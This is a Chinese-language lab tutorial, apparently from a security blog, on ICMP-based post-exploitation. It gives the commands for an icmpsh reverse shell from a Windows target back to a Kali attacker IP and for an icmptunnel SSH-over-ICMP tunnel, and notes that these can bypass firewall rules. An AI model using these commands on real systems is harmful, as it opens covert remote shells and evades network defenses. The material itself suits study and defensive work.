ICMP简介
ICMP(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
ICMP使用IP的基本支持,就像它是一个更高级别的协议,但是,ICMP实际上是IP的一个组成部分,必须由每个IP模块实现。
icmpsh简介
icmpsh 是一个简单的基于icmp协议反弹shell的程序,性能较为良好,在主机上运行没有什么权限要求。项目地址
测试环境:
-
kali ip:192.168.1.103
-
win 2008 ip:192.168.1.107
先在kali里安装icmpsh。
git clone https://github.com/inquisb/icmpsh.git
然后在kali上运行icmpsh,但是再次之前需要修改下一些配置,禁用对ping的响应回复,防止内核对ping数据包进行响应,影响程序。
sysctl -w net.ipv4.icmp_echo_ignore_all=1
服务端开启监听。
cd icmpshpython icmpsh_m.py <attacker’s-IP> <target-IP>python icmpsh_m.py 192.168.1.103 192.168.1.107
然后将项目下的icmpsh.exe放到靶机上去,执行命令
icmpsh.exe -t <attacker's-IP>icmpsh.exe -t 192.168.1.103
icmp隧道
ICMP隧道是通过ICMP数据包上的TCP连接建立隧道的一种方法。在这里,我们将访问由ICMP数据包封装的ssh会话。因此,会在第3层建立TCP连接,将其封装为icmp数据包。
环境:
kali:
-
eth0:192.168.1.103
-
tun0: 10.0.1.2
ubuntu:
-
ens33:192.168.1.117
-
tun0: 10.0.1.3
在两边机器分别操作:
git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmake
然后进行设置网卡操作。
./icmptunnel -sCtrl+zbg/sbin/ifconfig tun0 10.0.1.2 netmask 255.255.255.0
同理在ubuntu上执行同样命令,将ip改成10.0.1.3.
然后通过ssh连接即可。
因为一些问题,我这里连不上ssh。
总结
实际中,可以通过 wireshark,进行抓包能观察到,走的协议是第三层的协议,在一定程度上能绕过防火墙检测规则。
来源:freebuf.com 2020-06-01 14:43:20 by: 雷石安全实验室
请登录后发表评论
注册